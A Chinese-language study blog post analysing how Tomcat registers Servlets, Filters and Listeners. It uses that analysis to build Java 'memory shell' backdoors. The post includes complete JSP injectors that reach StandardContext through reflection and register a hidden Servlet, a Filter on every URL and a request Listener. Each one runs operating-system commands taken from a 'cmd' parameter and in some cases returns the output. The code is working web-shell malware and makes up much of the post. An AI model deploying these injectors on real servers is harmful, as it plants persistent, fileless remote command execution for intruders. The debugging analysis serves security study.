这里是本菜鸡开始学习内存马的起始文章
有关内存马的认知可以看看su18师傅的这篇文章:https://mp.weixin.qq.com/s/NKq4BZ8fLK7bsGSK5UhoGQ
有关tomcat源码分析的文章:Tomcat源码初识一 Tomcat整理流程图_tomcat流程图-CSDN博客
然后这里有一篇总结得特别全得内存马文章:https://paper.seebug.org/3120/
这里放一张文章中的源码分析的初始化流程图:
做个参考对大致流程有个概念
调试的时候我突然发现不应该开启tomcat的自动打开浏览器,这样调试访问前或者访问后的逻辑是才不会那么乱😢
因为他默认是在我们访问后才会去创建实例
Servlet内存马
简单demo
先写一个简单的demo然后再分析一下原理吧,先看看效果
这里用了使用了tomcat8,tomcat10用那个demo有些类找不到
要看源码的话需要导入对应tomcat版本的依赖
<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.50</version> </dependency>
|
这是tomcat的核心依赖,起服务的过程源码基本都在这里
编写一个servlet内存马的步骤:
- 找到StandardContext
- 继承并编写一个恶意servlet
- 创建Wapper对象
- 设置Servlet的LoadOnStartUp的值
- 设置Servlet的Name
- 设置Servlet对应的Class
- 将Servlet添加到context的children中
- 将url路径和servlet类做映射
<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="javax.servlet.Servlet" %> <%@ page import="javax.servlet.ServletConfig" %> <%@ page import="javax.servlet.ServletContext" %> <%@ page import="javax.servlet.ServletRequest" %> <%@ page import="javax.servlet.ServletResponse" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>MemoryShellInjectDemo</title> </head> <body> <% try { ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); String servletURL = "/" + getRandomString(); String servletName = "Servlet" + getRandomString(); Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) {} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException { String cmd = servletRequest.getParameter("cmd"); { InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream(); Scanner s = new Scanner(in, "GBK").useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.setCharacterEncoding("GBK"); PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } }; Wrapper wrapper = standardContext.createWrapper(); wrapper.setName(servletName); wrapper.setServlet(servlet); wrapper.setServletClass(servlet.getClass().getName()); wrapper.setLoadOnStartup(1); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded(servletURL, servletName); response.getWriter().write("[+] Success!!!<br><br>[*] ServletURL: " + servletURL + "<br><br>[*] ServletName: " + servletName + "<br><br>[*] shellURL: http://localhost:8080/test" + servletURL + "?cmd=echo 世界,你好!"); } catch (Exception e) { String errorMessage = e.getMessage(); response.setCharacterEncoding("UTF-8"); PrintWriter outError = response.getWriter(); outError.println("Error: " + errorMessage); outError.flush(); outError.close(); } %> </body> </html> <%! private String getRandomString() { String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; StringBuilder randomString = new StringBuilder(); for (int i = 0; i < 8; i++) { int index = (int) (Math.random() * characters.length()); randomString.append(characters.charAt(index)); } return randomString.toString(); } %>
|
打入后效果
然后就可以去访问对应路由执行命令
原理分析
servlet内存马就是去找到源码中注册servlet的内容,然后我们重复一遍直接注册自己的servlet即可
这里我们是去找源码中如何将web.xml的配置变成servlet的过程
首先找到加载web.xml的ContextConfig#webconfig()
然后里面就是读取web.xml的一些代码,重要在第九个步骤
这里注释将web.xml应用于Context,调用ContextConfig#configureContext方法
跟进去看一看
这里有很多的操作都是通过context加载进去,这里的context就是我们的StandardContext,tomcat每个容器启动时都会通过一个Standard***#startInternal()方法来启动,所以我们具体的context就是StandardContext开始的,我们可以调试看看这个context
可以看到是我们的StandardContext,然后这个webxml里面就有解析我们web.xml文件拿到的servlet
这个Hello就是我们自己注册的,所以第一步的找到StandardContext,其实就是获取当前应用的context实例,然后往里面注册servlet,我们回到configureContext方法继续往下找关键地方
这里遍历我们的servlet然后创建wrapper,我们知道wrapper就是用来封装servlet的
然后这里的wrapper就是我们知道的tomcat定义的Wrapper的实现类,拿到wrapper之后继续往下,看一下关键的set方法
第一步先对loadOnStartup的值进行设置,这个值代表的是Servlet在启动时的加载顺序,如果设置为负数,那么Servlet将在第一次请求时才被加载
这一步就是这是servlet的name
这一步设置servletClass用的是全类名
这一步将前面的wrapper添加到context里面
然后这是将前面的servlet遍历完之后,再遍历servletMapping,往context里面添加映射,下面是servletMappings
然后这就是整个注册的流程,但是这里并没有实例化我们写的Servlet类,因为它存在懒加载机制,需要我们去访问的时候才会创建实例,但如果我们自己动态在页面写就会走不到那个流程,需要我们直接将实例类放进去
现在知道所有流程我们就可以开始写内存马了,这里是根据组长的流程来写,比较简单
第一步找到standardContext,这也是最关键的一步,因为我们知道jsp里面是有request对象的,我们可以通过request对象来获取standardContext
ServletContext servletContext = request.getServletContext(); System.out.println(servletContext);
|
我们先看看request#getServletContext返回的对象
我们可以看到往里面第二层的context就是StandardContext,这里我们可以直接用反射来获取
ServletContext servletContext = request.getServletContext(); Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
|
然后后面的就比较简单了,按照我们前面分析的注册步骤即可,就是要注意一点我们要手动将servlet实例注册进去
Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("TestShell"); wrapper.setServletClass(TestShell.class.getName()); wrapper.setServlet(new TestShell());
standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/shell","TestShell");
|
然后这个servlet我们就简单的弹一个计算器,完整的jsp文件如下
addServlet.jsp
<%@ page import="java.io.IOException" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body>
<%! public class TestShell extends HttpServlet { public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { Runtime.getRuntime().exec("calc"); } } %> <%
ServletContext servletContext = request.getServletContext(); Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("TestShell"); wrapper.setServletClass(TestShell.class.getName()); wrapper.setServlet(new TestShell()); standardContext.addChild(wrapper); standardContext.addServletMappingDecoded("/shell","TestShell"); %> </body> </html>
|
然后成功白屏弹计算器😋
而我们前面的demo我是直接用的文章里的,他这里就是用了一个随机路径和随机文件名的方式注册,然后直接用匿名类的形式进行实现化,然后直接将命令结果打印出来到网页
Servlet servlet = new Servlet() { @Override public void init(ServletConfig servletConfig) {} @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException { String cmd = servletRequest.getParameter("cmd"); { InputStream in = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream(); Scanner s = new Scanner(in, "GBK").useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; servletResponse.setCharacterEncoding("GBK"); PrintWriter out = servletResponse.getWriter(); out.println(output); out.flush(); out.close(); } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } };
|
他这里使用cmd /c
来实现可以执行带有空格的命令,例如echo 世界,你好!
;对于Linux系统,那就是/bin/sh -c
至于LoadOnStartUp这个玩意没发现他的作用暂时
关于实例化servlet的添加
因为懒加载机制我们是在访问后才进行的实例化servlet,然后我就想探究一下这个servlet到底是在哪里被实例化然后添加到wrapper里面,但我调了很久也没有发现放进wrapper的地方
我这里找到的调用StandardWrapper#allocate()来实例化一个servlet,然后往下有个createFilterChain函数,他将servlet传递了进去,我就去看了一下
然后只有这里是将实例添加进了filterchain,此时我还是没看到如exp里面的要将servlet放进wrapper里面
最后执行到servlet的时候就是在doFilter方法里面调用servlet属性的service方法,然后到servlet的doGet方法里了
后来终于想通了,看代码太不细致还是漏了关键的地方,我在访问内存马页面之后再调试回到那个allocate方法里面,发现我们设置了实例之后他的判断逻辑就不同了
因为我们设置了instance,这部分的逻辑就被跳过了,然后就会到下面这里
直接返回我们设置的instance,然后再放进了filterchain里面,这就是为什么我们需要用wrapper.setServlet方法的原因
所以其实我在想如果能够获取filterChain的话直接添加效果应该也是一样的
Filter内存马
这部分参考文章:https://longlone.top/%E5%AE%89%E5%85%A8/java/java%E5%AE%89%E5%85%A8/%E5%86%85%E5%AD%98%E9%A9%AC/Tomcat-Filter%E5%9E%8B/,https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/
写Filter内存马的步骤:
- 获取StandardContext;
- 继承并编写一个恶意filter;
- 实例化一个FilterDef类,包装filter并存放到
StandardContext.filterDefs
中;
- 实例化一个FilterMap类,将我们的Filter和urlpattern相对应,使用addFilterMapBefore存放到StandardContext.filterMaps中;
- 通过反射获取filterConfigs,实例化一个
FilterConfig
(ApplicationFilterConfig
)类,传入StandardContext
与filterDefs
,存放到filterConfig中。
有关filter相关的内容可以看一下里面文章的总结。
原理分析
这里开始先分析再写
filter我们知道就是servlet前的一个过滤器,所以我们只要实现一个filter并写恶意代码,然后添加进去即可
了解一下有关filter的各个名词
- FilterDefs:首先,需要定义过滤器FilterDef,存放这些FilterDef的数组被称为FilterDefs,每个FilterDef定义了一个具体的过滤器,包括描述信息、名称、过滤器实例以及class等。
- FilterConfigs:是这些过滤器的具体配置实例,我们可以为每个过滤器定义具体的配置参数,以满足系统的需求。
- FilterMaps:用于将FilterConfigs映射到具体的请求路径或其他标识上,这样系统在处理请求时就能够根据请求的路径或标识找到对应的FilterConfigs。
- FilterChain:是由多个FilterConfigs组成的链式结构,它定义了过滤器的执行顺序,在处理请求时系统会按照FilterChain中的顺序依次执行每个过滤器,对请求进行过滤和处理。
访问网页前的filter添加
同样的filter的添加也在我们之前说到的ContextConfig#configureContext里面
这里往context里面添加filterdef,具体代码如下
添加到一个hashMap里面,下面是filterDef的相关属性
有些属性是我们到时候创建的时候需要设置的
这里是添加filterMap进去,再看一下filterMap里相关的属性
这就是访问路由前的注册内容
访问之后
现在我们写一个filter类,然后断在doFilter方法,看一下执行的过程
这里的chain.doFilter是一定要写的不然就走不到servlet那里了,因为遍历doFilter之后,最终是在servletService()方法中走到request
观察一下他的调用栈,可以看到是从StandardWrapperValve#invoke过来的,我们去看一下
所以可以知道是在filterChain的doFilter方法里面执行我们的filter和servlet
然后在找一下filterChain是在哪创建的
可以看到是在这里,接下来重新下断点到这,看一下filterChain的创建
这里先创建了一个ApplicationFilterChain然后看能否从req中获取filterChain,不能就新建一个ApplicationFilterChain同时set给req,继续往下
然后就是获取standardContext再从中获取filterMaps,然后看一下现在filterMaps里面的内容
可以看到有有我们自己的那个FilterMap
接下来会遍历filterMaps 中的 filterMap的filterName,如果发现符合当前请求 url 与 filterMap 中的 urlPattern 匹配且通过filterName能找到对应的filterConfig,则会将其加入filterChain
那来看一下ApplicationFilterConfig的创建
可以看到从StandardContext的filterConfigs里面直接根据key获取ApplicationFilterConfig的实例
最后看一下filterConfig的内容
包含了filter实例和filterDef还有context这几个重要元素,到此filterChain创建完成,然后就是执行前面说的的doFilter方法
内存马编写
前面分析可知,最重要的两个方法是**StandardContext.findFilterMaps()和StandardContext.findFilterConfig()**,我们只要往这2个属性里面插入对应的filterMap和filterConfig即可实现动态添加filter的目的,这些属性都在standardContext里面,那么standardContext里面是否也有添加这些属性的方法呢
这里standardContext提供了添加filterMap的方法addFilterMapBefore
这里会先校验,然后再添加filterMap,跟进一下validateFilterMap方法
可以看到它会根据filterName去寻找对应的filterDef,如果没找到的话会直接抛出异常,也就是说我们还需要往filterDefs里添加filterDef。
关于filterDefs,StandardContext也直接提供了对应的添加方法addFilterDef
最后filterConfig并没有添加该属性的方法,需要我们通过反射获取属性进行修改
现在大部分的问题我们都解决了
下面是具体的代码实现
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.Context" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <%!
%> <% ServletContext servletContext = request.getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Filter evilFilter=new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException {
}
@Override public void destroy() {
}
@Override public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { if (request.getParameter("cmd") != null) { byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("cmd.exe", "/C", request.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); response.getWriter().write(new String(bytes, 0, len)); process.destroy(); return; } chain.doFilter(request,response); } }; FilterDef filterDef = new FilterDef(); filterDef.setFilterName("clown"); filterDef.setFilterClass(evilFilter.getClass().getName()); filterDef.setFilter(evilFilter); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("clown"); filterMap.addURLPattern("/*"); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put("clown",filterConfig);
out.print("Inject Success !");
%> </body> </html>
|
成功!
还有exp中的这行代码filterMap.setDispatcher(DispatcherType.REQUEST.name());
我搜了一下它是定义了过滤器可以介入的几种请求类型。这些类型包括:
REQUEST
:普通的客户端请求。
FORWARD
:通过 RequestDispatcher
转发的请求。
INCLUDE
:通过 JSP 包含指令包含的资源。
ERROR
:作为错误页面请求。
所以这行代码不是必须的,删掉也一样可以
而且这行代码只支持Tomcat 7.x 以上,因为javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3
Listener内存马
listener就是事件监听,java有很多中listener
大都是继承自EventListener接口,这里用ServletRequestListener,他有下面的两个方法
1.void requestInitialized(ServletRequestEvent sre): 这个方法在 Servlet 请求对象被创建并且还没有被使用之前被调用。这通常发生在一个 HTTP 请求到达 Servlet 容器,并且容器决定为该请求创建一个新的 ServletRequest 对象时。这个方法可以用来初始化请求相关的资源,比如设置请求属性或者启动跟踪请求状态的逻辑。
2.void requestDestroyed(ServletRequestEvent sre): 这个方法在 Servlet 请求对象即将被销毁时被调用。这通常发生在请求处理完成,响应已经发送给客户端之后。这个方法可以用来清理请求相关的资源,比如关闭数据库连接或者清理在 requestInitialized 方法中创建的任何对象。
|
可以写一个简单的demo测试一下
package org.clown.servletshell;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener;
public class ListenerTest implements ServletRequestListener { @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("Listener 调用"); }
@Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("servlet 离开"); } }
|
配置web.xml
<listener> <listener-class>org.clown.servletshell.ListenerTest</listener-class> </listener>
|
流程分析
接下来就是照常分析一下Listener是怎么注册的了
这里直接从ContextConfig#configureContext那里开始分析,也就是访问前的过程
那就再去读取web.xml的那个地方看看
可以看到这里在添加filter之后就将listener的全类名进行添加,调用StandardContext#addApplicationListener方法
添加之后他会调用StandardContext#listenerStart
然后这里会查找我们添加的listener,到这步的代码比较复杂就不调了,有个数就行
然后我们去访问网页,看一下请求过来时listener在哪里调用的
这里下个断点然后看看调用栈,看哪一个函数最重要
最重要的应该是这个函数StandardContext#fireRequestInitEvent
重新将断点下在这里看一看
可以看到它接受了request请求参数然后进行相关操作,然后这里获取一个listener数组
我们进该方法看看
可以看到applicationEventListenersList里面的就是我们的listener
而且StandardContext还有对应的添加listener的方法如下:
然后就是到下面遍历触发我们定义的listener的requestInitialized()方法
到这里流程就结束,这部分看起来还是比较简单的
相对应的请求结束的时候就会调用fireRequestDestroyEvent方法
内存马编写
通过上面的流程分析,exp的编写步骤也很简单:
就是通过 StandardContext 类的 addApplicationEventListener()
方法把恶意的 Listener实例放进去,然后恶意代码写在requestInitialized()方法里面即可
exp
<%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <% ServletContext servletContext = request.getServletContext(); Field applicationContextField=servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext); Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
ServletRequestListener servletRequestListener = new ServletRequestListener(){ @Override public void requestDestroyed(ServletRequestEvent sre) { HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } }
@Override public void requestInitialized(ServletRequestEvent sre) {
} }; standardContext.addApplicationEventListener(servletRequestListener); %>
</body> </html>
|
然后美美白屏弹计算器
这里我认为是并没有相关路径的匹配逻辑,所以不需要在访问前的那部分注册